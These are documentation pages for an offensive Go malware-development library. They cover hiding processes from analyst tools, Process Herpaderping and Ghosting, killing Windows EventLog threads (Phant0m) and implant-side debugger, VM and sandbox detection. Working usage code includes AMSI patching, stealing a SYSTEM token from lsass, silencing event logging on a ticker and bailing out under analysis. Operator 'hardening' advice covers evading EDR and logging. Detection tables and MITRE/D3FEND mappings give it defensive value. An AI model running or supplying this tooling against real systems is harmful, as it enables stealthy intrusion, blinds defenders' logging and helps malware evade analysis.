ArtefactWhere defenders look
WriteProcessMemory against ntdll .text of an analyst toolEDR cross-process write telemetry — high-fidelity if the tool is monitored
OpenProcess(VM_WRITE) against Taskmgr.exe / procexp.exeSysmon Event 10 (ProcessAccess) with VM_WRITE access mask
.text integrity check on ntdll inside the targetSome EDRs hash the prologue periodically — stub bytes diverge from canonical
Behavioural correlation: EDR sees activity, Task Manager doesn'tMature SOC tells, but only with proactive hunt
Kernel telemetry unaffectedEDR sees normal process activity from its own un-patched process

D3FEND counters:

  • D3-RAPA — cross-process write telemetry.
  • D3-SCA — kernel-side enumeration is unaffected.

Hardening for the operator:

  • Use indirect syscalls via wsyscall.Caller so the cross-process write doesn't go through hooked WriteProcessMemory.
  • Patch all candidate tools at once; selective patching leaves some tooling fully functional.
  • The patch does not persist across the target's process restart — pair with a watch loop that re-patches on relaunch.
  • Don't use this on hosts where EDRs hash ntdll periodically (Microsoft Defender does not by default; Elastic / S1 / CS vary).

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1564.001Hide Artifacts: Hidden Processfull — user-mode tooling blindedD3-RAPA
T1027.005Indicator Removal from Toolspartial — neutralises local triage toolsD3-SCA

Limitations

  • User-mode only. Kernel-sourced enumeration sees everything.
  • Per-process patch. Patches are not persistent across target restart; tool relaunch returns to clean ntdll.
  • Other processes unaffected. EDR agents in their own process see the full process list normally.
  • Requires PROCESS_VM_WRITE. SeDebugPrivilege or ownership of the target.
  • .text integrity check defeats this. Rare in production EDRs but trivially detectable when present.
  • WMI Win32_Process not covered. Clients querying SELECT * FROM Win32_Process route through the WMI provider host (wmiprvse.exe) which loads cimwin32.dll. Patching that path requires injecting into a different process from the one running the patches; out of scope for the in-process tamper API. Block wmiprvse.exe enumeration externally (firewall / DACL on the WMI namespace) if WMI is in scope.
  • PatchAll covers the three Win32 enumeration paths most defenders use (NtQuerySystemInformation, K32EnumProcesses, Toolhelp32). Other ntdll exports that re-implement enumeration (e.g., NtQuerySystemInformationEx introduced in Win10 RS5) are not patched; verify against your target monitoring stack.

See also

Process Herpaderping & Ghosting

← process index · docs/index

TL;DR

Exploit the kernel image-section cache so the running process executes one PE while the file on disk reads as another (or doesn't exist). ModeHerpaderping overwrites the backing file with a decoy after the section is mapped; ModeGhosting deletes the file before the process is created. EDR file-based inspection sees the decoy / fails open. Win11 26100+ blocks both modes (STATUS_NOT_SUPPORTED).

Primer

When Windows creates a process from a PE file, the kernel maps the image into an immutable section object and caches it. The cache survives after the file handle closes — and can survive after the file itself is overwritten or deleted. The running process executes the cached image; downstream readers that go back to the file see whatever's there now.

This package exploits that gap. The payload is mapped → the file is replaced with a decoy → the thread is created. EDR / AV security callbacks fire at thread creation (PsSetCreateThreadNotifyRoutine) and file-read inside the callback returns the decoy, not the original payload.

Two variants:

  • Herpaderping (jxy-s, 2020) — overwrite the file with a decoy after mapping. Decoy can be a real signed PE (svchost, notepad) or random bytes.
  • Ghosting (Gabriel Landau, 2021) — create a delete-pending file, map as SEC_IMAGE, close the handle to let the delete complete. The file never exists at the moment of thread creation.

Win11 24H2 / 25H2 (build ≥ 26100) blocks both modes — NtCreateProcessEx returns STATUS_NOT_SUPPORTED on a section backed by a tampered or deleted file. The package treats every build ≥ 26100 as blocked out of caution; operators with verified-working 26100 builds can drop the test skip locally.

How It Works

sequenceDiagram
    participant Op as "Operator"
    participant Sec as "NtCreateSection<br>(SEC_IMAGE)"
    participant Cache as "Kernel image cache"
    participant Disk as "Backing file"
    participant Proc as "NtCreateProcessEx"
    participant Thr as "NtCreateThreadEx"
    participant EDR

    Op->>Sec: payload.exe → section
    Sec->>Cache: cache image (immutable)
    Op->>Proc: NtCreateProcessEx(section)
    Note over Op,Disk: Mode-specific step
    Op->>Disk: Herpaderping: overwrite with decoy<br>OR Ghosting: delete (file unlinked)
    Op->>Thr: NtCreateThreadEx
    Thr->>EDR: PsSetCreateThreadNotifyRoutine fires
    EDR->>Disk: read backing file
    Disk-->>EDR: decoy / file-not-found
    Note over Cache,Thr: Process executes from cached image<br>= original payload

The on-disk decoy can be a signed system binary so authenticode verification at the EDR-callback time succeeds against the wrong PE.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/process/tamper/herpaderping is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple — Herpaderping with svchost decoy

import "github.com/oioio-space/maldev/process/tamper/herpaderping"

_ = herpaderping.Run(herpaderping.Config{
    PayloadPath: "implant.exe",
    TargetPath:  `C:\Windows\Temp\legit.exe`,
    DecoyPath:   `C:\Windows\System32\svchost.exe`,
})

No on-disk artefact at thread-creation time.

_ = herpaderping.Run(herpaderping.Config{
    Mode:        herpaderping.ModeGhosting,
    PayloadPath: "implant.exe",
    TargetPath:  `C:\Windows\Temp\nohost.exe`,
})

Advanced — composed with AMSI patch

Pair the spawn with an in-process AMSI bypass via the evasion.Technique chain.

import (
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/amsi"
    "github.com/oioio-space/maldev/process/tamper/herpaderping"
)

techs := []evasion.Technique{
    amsi.ScanBufferPatch(),
    herpaderping.Technique(herpaderping.Config{
        PayloadPath: "implant.exe",
        TargetPath:  `C:\Temp\legit.exe`,
        DecoyPath:   `C:\Windows\System32\svchost.exe`,
    }),
}
_ = evasion.ApplyAll(techs, nil)

Auto-temp + random decoy

When the operator doesn't have a specific decoy in mind:

_ = herpaderping.Run(herpaderping.Config{
    PayloadPath: "implant.exe",
    // TargetPath auto via os.CreateTemp
    // DecoyPath omitted — target overwritten with random bytes
})

See ExampleRun

OPSEC & Detection

ArtefactWhere defenders look
Sysmon Event ID 25 (ProcessTampering)Primary detection — kernel detects mapped-image vs file mismatch
NtCreateSection(SEC_IMAGE) followed by WriteFile on same handle before NtCreateThreadExAdvanced EDR rule (Elastic, CrowdStrike)
Process whose authenticode resolves to decoy but memory layout is a different PEMature EDR (Defender for Endpoint) cross-validation
Mode=Ghosting: file delete-pending then closed before NtCreateProcessExProcessTampering is the primary signal — 26100+ kernel rejects
Process whose PEB.ProcessParameters.ImagePathName points at a path that vanishes / contains decoyLive-system triage

D3FEND counters:

  • D3-PSA — Sysmon Event 25 + lineage.
  • D3-FCA — disk-vs-memory image divergence.

Hardening for the operator:

  • Verify the target build before running — 26100+ returns STATUS_NOT_SUPPORTED for both modes.
  • For ModeHerpaderping, pick a signed donor decoy whose identity matches a plausible "what runs at this path" story.
  • For ModeGhosting, the lack of an on-disk artefact at thread-creation is a stronger primitive — but Sysmon Event 25 fires equally.
  • Pair with pe/strip on the payload so memory analysis at runtime doesn't immediately reveal Go-toolchain markers.
  • Avoid hosts running EDRs that ship Sysmon Event 25 by default (Defender for Endpoint, Elastic, S1).

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1055.013Process Doppelgängingpartial — same family of section-cache exploitsD3-PSA, D3-FCA
T1055Process Injectionfull — defense evasion via process tamperingD3-PSA
T1027.005Indicator Removal from Toolspartial — file-on-disk decoy defeats authenticode-of-disk-imageD3-FCA

Limitations

  • Win11 26100+ blocked. Both modes return STATUS_NOT_SUPPORTED on Win11 24H2 / 25H2.
  • File-write requirement (Herpaderping). Target path must be writable; read-only media or files locked by another process can't be overwritten.
  • PEB.ProcessParameters.ImagePathName. Points at the target file, which now contains the decoy / is gone — live triage that reads the PE via the path sees the decoy / fails. In-memory PE reconstruction (Volatility, dumpit) still recovers the original.
  • Win10 minimum. NtCreateProcessEx semantics differ on older versions.
  • No 32-bit support. x64 only.

References

  • jxy-s — original Herpaderping research: https://jxy-s.github.io/herpaderping/
  • Gabriel Landau — Process Ghosting: https://www.elastic.co/blog/process-ghosting-a-new-executable-image-tampering-attack
  • hasherezade (Jan 2025) — Ghosting on early-26100 builds.

See also

Phant0m — EventLog thread termination

← process index · docs/index

TL;DR

Terminate the worker threads of the Windows EventLog service inside its hosting svchost.exe. The service stays "Running" in SCM (no 4697 "service stopped" event), but no new entries are written. Per-thread service-tag validation (I_QueryTagInformation) ensures only EventLog threads die — co-hosted services in the same svchost survive. Requires SeDebugPrivilege. Loud once a defender notices the gap.

Primer

Windows logs almost everything an investigator wants — logons, service installs, scheduled tasks, PowerShell ScriptBlock, Sysmon events — into the Windows Event Log. The naive way to silence it (sc stop EventLog) is itself logged: SCM emits a "service stopped" event before the kill takes effect.

Phant0m goes around it. The EventLog service is a set of worker threads inside a shared svchost.exe host. Identify that host, find the threads tagged as EventLog workers, and terminate them individually with TerminateThread. SCM still reports RUNNING; the process is alive; only the workers are dead. Subsequent ReportEvent / EvtReportEvent calls queue but never persist.

This technique is loud once detected — defenders watching for EventLog gaps trip on the silence — but the kill itself generates no service-stop signal.

How It Works

flowchart TD
    A[OpenSCManager + OpenService] --> B[QueryServiceStatusEx<br>EventLog → host PID]
    B --> C[enum.Threads PID]
    C --> D{For each TID}
    D --> E[OpenThread<br>THREAD_QUERY_INFORMATION]
    E --> F[NtQueryInformationThread<br>→ TEB base]
    F --> G[ReadProcessMemory<br>TEB+0x1720 → SubProcessTag]
    G --> H[I_QueryTagInformation<br>→ service name]
    H --> I{name == EventLog?}
    I -- yes --> J[OpenThread<br>THREAD_TERMINATE]
    J --> K[TerminateThread<br>or NtTerminateThread via caller]
    I -- no --> D
    K --> D

Service-tag validation uses I_QueryTagInformation (advapi32), an undocumented-but-stable API used by Task Manager to show service names per thread. The SubProcessTag is a 32-bit value stored at offset 0x1720 in the x64 TEB. If the API is absent (very old systems), the package falls back to terminating every thread in the EventLog PID.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/process/tamper/phant0m is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple — direct kill

import "github.com/oioio-space/maldev/process/tamper/phant0m"

if err := phant0m.Kill(nil); err != nil {
    return
}

Composed — indirect syscall

import (
    "github.com/oioio-space/maldev/process/tamper/phant0m"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

caller := wsyscall.New(wsyscall.MethodIndirect, wsyscall.NewHellsGate())
_ = phant0m.Kill(caller)

Advanced — token theft + Heartbeat ticker

Steal a SYSTEM token to obtain SeDebugPrivilege, silence the event log, then re-kill on a built-in ticker so SCM/WMI re-spawns of the EventLog workers don't undo the kill.

import (
    "context"
    "log"
    "time"

    "github.com/oioio-space/maldev/process/tamper/phant0m"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
    "github.com/oioio-space/maldev/win/token"
)

tok, _ := token.StealByName("lsass.exe")
defer tok.Close()
_ = tok.EnablePrivilege("SeDebugPrivilege")

caller := wsyscall.New(wsyscall.MethodIndirect, wsyscall.NewHellsGate())

ctx, cancel := context.WithCancel(context.Background())
defer cancel() // stop the heartbeat at scope exit

go func() {
    if err := phant0m.Heartbeat(ctx, 5*time.Second, caller); err != nil &&
        !errors.Is(err, context.Canceled) {
        log.Printf("phant0m heartbeat: %v", err)
    }
}()

// ... noisy work runs here, EventLog stays silent ...

Heartbeat returns the first Kill error synchronously, so the goroutine bails immediately if the initial silencing fails. After that, transient Kill errors are silently retried — only the context cancellation surfaces as a final return.

See ExampleKill.

OPSEC & Detection

ArtefactWhere defenders look
OpenThread(THREAD_TERMINATE) against svchost.exeSysmon Event 10 (ProcessAccess) — high-fidelity rule when target is svchost hosting EventLog
TerminateThread / NtTerminateThread from non-svchost lineageEDR API telemetry — Defender, MDE, S1 ship this
EventLog gapSOC heartbeat / SIEM correlation: "no events from host X for N minutes"
EventLog service status RUNNING with zero live threadsSysmon Event 8 (CreateRemoteThread inverse) — defender can poll thread count
SACL auditing on svchost.exeEnterprise SOC may enable; logs the THREAD_TERMINATE open
Subsequent log writes failing silentlyDefender for Endpoint MsSense detects

D3FEND counters:

  • D3-RAPA — cross-process thread-termination telemetry.
  • D3-PA — service-host thread-count anomaly.

Hardening for the operator:

  • Use indirect syscalls via wsyscall.Caller so the thread-termination doesn't go through hooked WinAPI.
  • Re-kill on a ticker — SCM may restart the workers on heartbeat checks.
  • Pair with evasion/etw to also blind ETW providers; phant0m only kills the EventLog service, not ETW consumers.
  • Don't use this on hosts where EventLog forwarding is enterprise-monitored — the gap is itself the detection.
  • The I_QueryTagInformation fallback (kill all threads in PID) breaks co-hosted services — only an issue on hosts where multiple non-EventLog services share that svchost group.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1562.002Impair Defenses: Disable Windows Event Loggingfull — service-stop-free silencingD3-RAPA, D3-PA

Limitations

  • Loud on detection. EventLog gaps are themselves a high-fidelity signal in mature SOCs.
  • SeDebugPrivilege required. Implies SYSTEM or elevated admin context.
  • x64 only. TEB offset 0x1720 is x64-specific.
  • SCM heartbeat re-spawns workers. Use Heartbeat(ctx, interval, caller) to ticker-kill the workers as fast as SCM re-spawns them. The first Kill is synchronous (returns its error); subsequent Kills run on the ticker until ctx cancellation. Without the heartbeat, the silence window collapses within seconds.
  • Per-thread fallback. Without I_QueryTagInformation, the package terminates every thread in the EventLog PID — breaks co-hosted services.
  • No persistence. Reboot restores the EventLog service with fresh threads. Pair with persistence to re-arm.

See also

Recon techniques

← maldev README · docs/index

The recon/* package tree groups discovery + environmental awareness primitives:

  • Anti-analysis — debugger / VM / sandbox detection (antidebug, antivm, sandbox, timing).
  • Hijack discovery — DLL search-order hijack opportunities (dllhijack).
  • Hook detection — hardware breakpoint inspection (hwbp).
  • System enumeration — drives, special folders, network (drive, folder, network).
flowchart TB
    subgraph anti [Anti-analysis]
        AD[antidebug]
        AV[antivm]
        TIME[timing]
        SB[sandbox<br>orchestrator]
        AD --> SB
        AV --> SB
        TIME --> SB
    end
    subgraph discovery [System discovery]
        DRV[drive]
        FLD[folder]
        NET[network]
    end
    subgraph hooks [Hook detection]
        HWBP[hwbp<br>DR0-DR3]
    end
    subgraph hijack [Hijack discovery]
        DLL[dllhijack<br>services + procs +<br>tasks + autoElevate]
    end
    SB --> BAIL[bail-on-detect]
    HWBP --> CLEAR[clear + unhook]
    DLL --> EXPLOIT[validate + deploy]
    DRV --> STAGE[USB-stage / SMB-share lateral]
    FLD --> PERSIST[persistence path resolution]
    NET --> C2[source-aware C2]

Where to start (novice path):

  1. sandbox — multi-factor "is this a real target?" orchestrator. Most operators ship with this at startup.
  2. anti-analysis — debugger + VM detection primitives that sandbox composes.
  3. dll-hijack — find privilege-escalation opportunities programmatically (services / procs / tasks / autoElevate).
  4. drive, folder, network — system enumeration when a specific question needs answering.

Packages

PackageTech pageDetectionOne-liner
recon/antidebuganti-analysis.mdquietCross-platform debugger detection (PEB / TracerPid)
recon/antivmanti-analysis.mdquietMulti-vendor hypervisor detection (7 dimensions)
recon/sandboxsandbox.mdquietMulti-factor sandbox orchestrator
recon/timingtiming.mdquietCPU-burn defeats Sleep-hook fast-forward
recon/dllhijackdll-hijack.mdmoderateDiscover DLL search-order hijack opportunities
recon/hwbphw-breakpoints.mdmoderateDetect + clear EDR HWBPs in DR0-DR3
recon/drivedrive.mdvery-quietDrive enum + USB-insert watcher (Windows)
recon/folderfolder.mdvery-quietWindows special-folder path resolution
recon/networknetwork.mdvery-quietCross-platform interface IPs + IsLocal

Quick decision tree

You want to…Use
…bail if a debugger is attachedantidebug.IsDebuggerPresent
…bail if running in a hypervisorantivm.Detect
…run multi-factor "is this analysis?"sandbox.New(DefaultConfig).IsSandboxed
…burn CPU to defeat Sleep fast-forwardtiming.BusyWait
…find DLL hijack candidatesdllhijack.ScanAll
…UAC bypass via autoElevate hijackdllhijack.ScanAutoElevate
…detect EDR HWBPs in ntdllhwbp.DetectClearAll
…list mounted drives + watch removable insertionsdrive.NewWatcher
…resolve %APPDATA% / %PROGRAMDATA%folder.Get
…list host IPs / detect self-referencesnetwork.InterfaceIPs / IsLocal

MITRE ATT&CK

T-IDNamePackagesD3FEND counter
T1622Debugger Evasionantidebug, hwbpD3-EI
T1497Virtualization/Sandbox EvasionsandboxD3-EI
T1497.001System ChecksantivmD3-EI
T1497.003Time Based EvasiontimingD3-EI
T1574.001Hijack Execution Flow: DLL Search Order HijackingdllhijackD3-EAL
T1548.002Bypass UACdllhijack (autoElevate)D3-EAL
T1027.005Indicator Removal from ToolshwbpD3-PSA
T1120Peripheral Device Discoverydrive
T1083File and Directory Discoveryfolder, drive
T1016System Network Configuration Discoverynetwork

See also

Anti-analysis (debugger + VM detection)

← recon index · docs/index

TL;DR

Before doing anything risky, ask the host: "am I being analysed?" Two cheap checks run in microseconds and let your implant bail before the analyst's pipeline records anything useful.

Pick the right check based on what you want to detect:

You want to detect…UseCostStrength
Live debugger attachedantidebug.IsDebuggerPresent1 syscallBulletproof for default debuggers; defeated by anti-anti-debug plugins (ScyllaHide etc.)
Common sandbox VMs (VirtualBox, VMware, Hyper-V, QEMU, Parallels, Xen, Docker, WSL)antivm.RunChecks<100msMulti-dimensional (registry + files + NICs + processes + DMI). Checks are vendor-fingerprintable.
Modern HVCI/hardware-virt-aware hypervisorsantivm.HypervisorPresent1 CPUIDDetects ANY hypervisor (including Hyper-V on a "real" Win11 machine). Use as a soft signal, not a hard bail.
Comprehensive scoring across all signalsrecon/sandboxvariesOrchestrator combining the above + idle time + drive count + uptime.

Recommended startup pattern: bail on debugger immediately (very-low false-positive), score on VM signals (sandbox vs real machine is fuzzy), let recon/sandbox arbitrate.

Primer — vocabulary

Five terms recur on this page:

Sandbox — a managed analysis environment (Cuckoo, ANY.RUN, AV vendor labs) that runs your sample in a VM, traces every syscall + network packet, then writes a report. Sandboxes are usually VMs, so VM detection catches most of them.

PEB (Process Environment Block) — Windows per-process structure containing the BeingDebugged byte at offset 0x02. Set by the kernel when a debugger attaches. IsDebuggerPresent reads this flag.

CPUID — x86 instruction the CPU answers with its capabilities. The hypervisor-present bit (leaf 1, ECX bit 31) is set by EVERY hypervisor (VMware, KVM, Hyper-V, Xen…) — the hypervisor cannot lie about it without breaking the OS running inside.

DMI (Desktop Management Interface) — a small database the BIOS exposes (manufacturer, product name, chassis type, BIOS vendor). VMs have characteristic DMI strings ("VMware, Inc.", "innotek GmbH" for VirtualBox, "Microsoft Corporation" for Hyper-V) that don't appear on physical machines.

Indicator dimension — a category of fingerprint signal: registry keys (Windows), file paths, NIC MAC prefixes, running process names, BIOS/DMI info, CPUID flags. antivm runs configurable subsets via CheckOptions.

How It Works

flowchart LR
    subgraph debug [antidebug]
        WIN[Windows: IsDebuggerPresent<br>PEB BeingDebugged]
        LIN[Linux: /proc/self/status<br>TracerPid != 0]
    end
    subgraph vm [antivm]
        REG[Registry keys<br>HKLM\HARDWARE\…]
        FILES[VM driver files<br>vmtoolsd, vbox*]
        NIC[MAC prefixes<br>00:0C:29 VMware]
        PROC[Process names<br>vmtoolsd, vboxservice]
        DMI[DMI info<br>BIOS / chassis]
        CPU[CPUID flags<br>hypervisor bit]
    end
    debug --> OUT[bool / vendor name]
    vm --> OUT
    OUT --> SANDBOX[recon/sandbox<br>orchestrator]

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/recon/antidebug is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Quick start — startup bail-out triplet

The canonical "is this safe to run?" check at implant startup. Three calls in order: debugger first (cheapest, hard fail), hypervisor probe second (1 CPUID, scoring), full VM scan last (most expensive, hard fail on known-sandbox vendors).

package main

import (
    "log"
    "os"

    "github.com/oioio-space/maldev/recon/antidebug"
    "github.com/oioio-space/maldev/recon/antivm"
)

func safeToRun() bool {
    // Step 1: hard fail on attached debugger. Cheapest check
    //         (~one syscall on Windows, one file read on Linux).
    if antidebug.IsDebuggerPresent() {
        log.Println("debugger attached — bailing")
        return false
    }

    // Step 2: cheap CPUID-based hypervisor probe. Detects ANY
    //         hypervisor — including Hyper-V on a real Win11
    //         laptop, so use as a SOFT signal (log + lower
    //         threshold for further checks), not a hard bail.
    if antivm.HypervisorPresent() {
        vendor := antivm.HypervisorVendorName()
        log.Printf("hypervisor present: %s — running cautiously", vendor)
        // continue, but maybe skip the loudest payloads
    }

    // Step 3: full VM detection across registry / files / NICs /
    //         processes / DMI. Returns "" when no known sandbox
    //         fingerprint matches. Hard bail when it does.
    if name, _ := antivm.Detect(antivm.DefaultConfig()); name != "" {
        log.Printf("sandbox detected: %s — bailing", name)
        return false
    }

    return true
}

func main() {
    if !safeToRun() {
        os.Exit(0)
    }
    // ... real implant logic ...
}

What this DOES catch:

  • ScyllaHide-free debuggers (x64dbg, Visual Studio, WinDbg out-of-the-box).
  • Known sandboxes (Cuckoo, ANY.RUN, JoeSandbox) — they all run on detectable VM stacks.
  • VirtualBox / VMware default installs.

What this does NOT catch:

  • Hardware-level sandboxes running on bare metal with snapshot rollback. Rare but exist.
  • Anti-anti-debug plugins (ScyllaHide, TitanHide) — patch the PEB byte before your check runs.
  • Newer sandboxes that scrub VM artefacts (registry / DMI cleanup, MAC randomisation). The CPUID hypervisor bit can still be hidden by some hypervisors via VT-x manipulation.

For higher coverage, layer with recon/sandbox which adds idle-time + drive-count + uptime + recent-document heuristics on top of these primitives.

Simple — bail on detection

import (
    "os"

    "github.com/oioio-space/maldev/recon/antidebug"
    "github.com/oioio-space/maldev/recon/antivm"
)

if antidebug.IsDebuggerPresent() {
    os.Exit(0)
}
if name, _ := antivm.Detect(antivm.DefaultConfig()); name != "" {
    os.Exit(0)
}

Composed — narrow vendor + dimension

cfg := antivm.Config{
    Vendors: []antivm.Vendor{
        {Name: "VMware", Nic: []string{"00:0C:29"}, Files: []string{`C:\windows\system32\drivers\vmtoolsd.sys`}},
    },
    Checks: antivm.CheckNIC | antivm.CheckFiles,
}
if name, _ := antivm.Detect(cfg); name != "" {
    return
}
import "github.com/oioio-space/maldev/recon/antivm"

// One call covers all three CPUID/timing signals.
// Strongest "am I in a VM" detection userland can produce;
// the timing dimension catches even hypervisors that mask the
// CPUID.1:ECX[31] bit because they cannot hide the VMEXIT cost.
if r := antivm.Hypervisor(); r.LikelyVM {
    log.Printf("VM detected: vendor=%q name=%q timing=%d cycles",
        r.VendorSig, r.VendorName, r.TimingDelta)
    os.Exit(0)
}

If you want finer control over which signals contribute, build the report by hand:

if antivm.HypervisorPresent() ||
    antivm.LikelyVirtualizedByTiming(antivm.DefaultRDTSCThreshold) {
    os.Exit(0)
}

Privileged — VMware backdoor I/O port (Ring 0 / root only)

BackdoorVMware reads the VMware-specific backdoor port (0x5658, "VX"). When the hypervisor traps the IN EAX, DX instruction, EBX echoes the magic ("VMXh") — a definitive VMware signature that non-VMware HVMs cannot fake. The probe only runs after a privilege check (Linux: iopl(3) succeeds; Windows: never in user mode); otherwise [ErrBackdoorPrivilege] is returned and the caller treats VMware status as unknown.

import (
    "errors"
    "log"

    "github.com/oioio-space/maldev/recon/antivm"
)

rep, err := antivm.BackdoorVMware()
switch {
case errors.Is(err, antivm.ErrBackdoorPrivilege):
    log.Println("not privileged — fall back to Hypervisor() vendor check")
case err != nil:
    log.Printf("backdoor probe error: %v", err)
case rep.IsVMware:
    log.Printf("definitively VMware: echo=%#x ECX=%#x EDX=%#x",
        rep.Echo, rep.ECX, rep.EDX)
default:
    log.Println("not VMware (or backdoor disabled)")
}

Pair this with the user-mode-friendly Hypervisor() for a two-tier signal: Hypervisor() always runs and identifies the generic vendor; BackdoorVMware adds a high-confidence "this is specifically VMware" bit when Ring 0 / iopl is available.

Advanced — orchestrator integration

See recon/sandbox for the multi-factor Checker.IsSandboxed — debugger + VM detection are two of the seven dimensions it composes.

OPSEC & Detection

ArtefactWhere defenders look
IsDebuggerPresent Win32 callUniversal — invisible
/proc/self/status readLinux: invisible
Registry probes against VM driver keysEDR usually invisible; some sandbox-aware AV may flag patterns
MAC-prefix interface enumerationUniversally invisible
CPUID 0x40000000 (hypervisor leaf)Invisible to user-mode telemetry
Behavioural correlation: many checks then early exitSandboxes time-out themselves; correlation is post-fact

D3FEND counters:

  • D3-EI — sandbox executor design.

Hardening for the operator:

  • Pair antidebug + antivm with timing-based evasion (recon/timing) — sandboxes time out before a multi-second BusyWait completes.
  • Use recon/sandbox for the multi-factor pipeline rather than calling primitives independently.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1622Debugger Evasionfull — antidebug.IsDebuggerPresentD3-EI
T1497.001Virtualization/Sandbox Evasion: System Checksfull — antivm 7 dimensionsD3-EI

Limitations

  • PEB-only on Windows. Sophisticated debuggers can clear the BeingDebugged flag — ScyllaHide and similar harden it.
  • No anti-VMI. Bare-metal VMI (Volatility-on-host) defeats every userland check.
  • VMware-specific backdoor probe ([BackdoorVMware]) needs Ring 0. The IN EAX, DX instruction against port 0x5658 ("VX") only succeeds at IOPL 3 (Linux: iopl(3) syscall, requires CAP_SYS_RAWIO + root) or in kernel-mode (Windows: Ring 0 driver). User-mode probes return [ErrBackdoorPrivilege] without attempting the IN — issuing it from CPL 3 would otherwise SIGSEGV / #GP and crash the process. Pair with [Hypervisor] for the user-mode path (CPUID 0x40000000 vendor read).
  • Static fingerprints. Vendors who customise OEM strings in DMI / registry can defeat default fingerprints; supply custom Vendor lists for hostile environments.
  • WSL detection is loose. WSL2 looks very VM-like; expect false positives if WSL is a legitimate target.
  • CPUID timing — DefaultRDTSCThreshold = 1000. Picked above any observed bare-metal CPUID baseline (~30-50 cycles) and below any observed HVM lower bound (~500-3000+). Hyper-V on modern Windows guests sits ~1000-1500 cycles, so the cut-off is tight at the bottom of the VM band — operators on KVM / VMware / Xen comfortably cross 1500. Lower the threshold for paranoid bail-on-any-signal flows; raise it on noisy bare- metal hosts (older CPUs, SMI storms) that occasionally spike past 1000.
  • CPUID timing — RDTSC traps defeat it. A hypervisor that sets the VMCS "RDTSC exiting" control traps every RDTSC into a VMEXIT, hiding the CPUID-bracketed delta. Production HVMs rarely enable this (per-call cost imposed on every guest is prohibitive) but custom defensive hypervisors targeting malware analysis sometimes do — combine with [HypervisorPresent] / [HypervisorVendor] which reach the hypervisor through a different surface.
  • CPUID timing — non-amd64. ARM64 / s390x have no RDTSC analogue exposed to userland; the stub returns 0 so LikelyVirtualizedByTiming always returns false. The CPUID-bit and vendor-string probes are likewise amd64-only.

See also

Sandbox detection orchestrator

← recon index · docs/index

TL;DR

You want to bail out before doing anything risky if the host looks like a sandbox or analyst's machine. No single signal is conclusive (a low-end laptop has 2 cores too, an admin's hostname might just be "DESKTOP-X1") — so this orchestrator stacks 7 orthogonal dimensions and fires when ANY of them flags.

Each dimension catches a different sandbox class:

DimensionCatchesFalse positive on
DebuggerLive analyst with attached debuggernothing in practice
VM/HypervisorCuckoo, Joe Sandbox, most public sandboxesHyper-V on a real Win11 laptop
Hardware (cores / RAM / disk)Underprovisioned VMs (2 CPU / 4 GB RAM / 60 GB disk baseline)Low-end real machines
User/host nameGeneric analyst defaults (admin / user / sandbox / malware / WORKSTATION-1)Lazy real-user provisioning
Analysis tool processesprocmon / wireshark / fiddler / x64dbg actively runningReverse engineers on real machines
Fake-domain DNSSandbox internet simulation (every domain resolves)Captive-portal hotspots
Time-basedSandboxes that fast-forward time.SleepReal machines under heavy load

Quick-pick:

You want to…UseCost
Apply the canonical defender-baseline checkDefaultConfig + Checker.IsSandboxed<100ms total (most checks are syscalls/file reads)
Tighten/relax a specific dimensionMutate Config fields then NewChecker(cfg)same
Stop on first hit (default) vs collect all reasonsConfig.StopOnFirst (true/false)StopOnFirst=false sums all check times

What this DOES NOT do:

  • Doesn't bypass anything — orchestrator only DECIDES. Pair with os.Exit(0) or a "play dead" branch in your implant.
  • No HVCI / hardware-virt-aware probes — that's recon/antivm.HypervisorPresent. Add manually if you want it scoring.
  • Time-based check on goroutine dispatch — high-CPU real hosts can trip the timing dimension. Tune EvasionTimeout generously or disable when targeting under-resourced Windows servers.

Primer — vocabulary

Five terms recur on this page:

Sandbox — automated analysis environment (Cuckoo, JoeSandbox, ANY.RUN, hybrid-analysis, AV vendor labs) that runs your sample in a VM and traces every syscall + network packet. The implant's job is to bail before producing trace data the analyst can use.

Hardware threshold — a sandbox is usually a VM provisioned with the bare minimum to boot Windows: 2 cores, 4 GB RAM, 60 GB disk. Real user machines have more. Setting min thresholds catches under-provisioned VMs without lying about real laptop baselines (which exceed these by 4-8×).

Fake-domain DNS — most sandboxes simulate internet to keep the sample doing things. Side effect: nonexistent-deadbeef.invalid resolves with a real-looking IP. A real machine returns NXDOMAIN.

Time-based detection — some sandboxes accelerate Sleep/time.Sleep so the sample doesn't waste analysis budget on long sleep loops. The orchestrator measures wall-clock elapsed during a known-duration sleep; mismatch → sandbox.

Indicator dimension — a category of fingerprint signal (debugger / hardware / username / etc.). Each runs independently; the orchestrator combines verdicts.

How It Works

flowchart TD
    subgraph cfg [Config dimensions]
        DEBUG[Debugger]
        VM[VM/Hypervisor]
        HW[Hardware<br>cores / RAM / disk]
        IDENT[User / hostname]
        PROC[Process names]
        DNS[Fake-domain DNS]
        TIME[Time-based]
    end
    DEBUG --> AGG[Checker.IsSandboxed]
    VM --> AGG
    HW --> AGG
    IDENT --> AGG
    PROC --> AGG
    DNS --> AGG
    TIME --> AGG
    AGG --> OUT{any check fires?}
    OUT --> RES[true + reason]
    OUT --> NORMAL[false + nil]

Per-dimension tunables in Config: each check has a threshold and an enable flag. DefaultConfig ships defender-baseline values; operators harden against specific targets by tightening or relaxing.

API → godoc

pkg.go.dev/github.com/oioio-space/maldev/recon/sandbox is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple — defender baseline

import (
    "context"
    "os"

    "github.com/oioio-space/maldev/recon/sandbox"
)

c := sandbox.New(sandbox.DefaultConfig())
if hit, reason, _ := c.IsSandboxed(context.Background()); hit {
    fmt.Fprintf(os.Stderr, "bail: %s\n", reason)
    os.Exit(0)
}

Composed — strict thresholds

Harden against a specific defender pipeline by raising hardware thresholds and adding custom usernames.

cfg := sandbox.DefaultConfig()
cfg.MinCPUCores = 4
cfg.MinRAMGB = 8
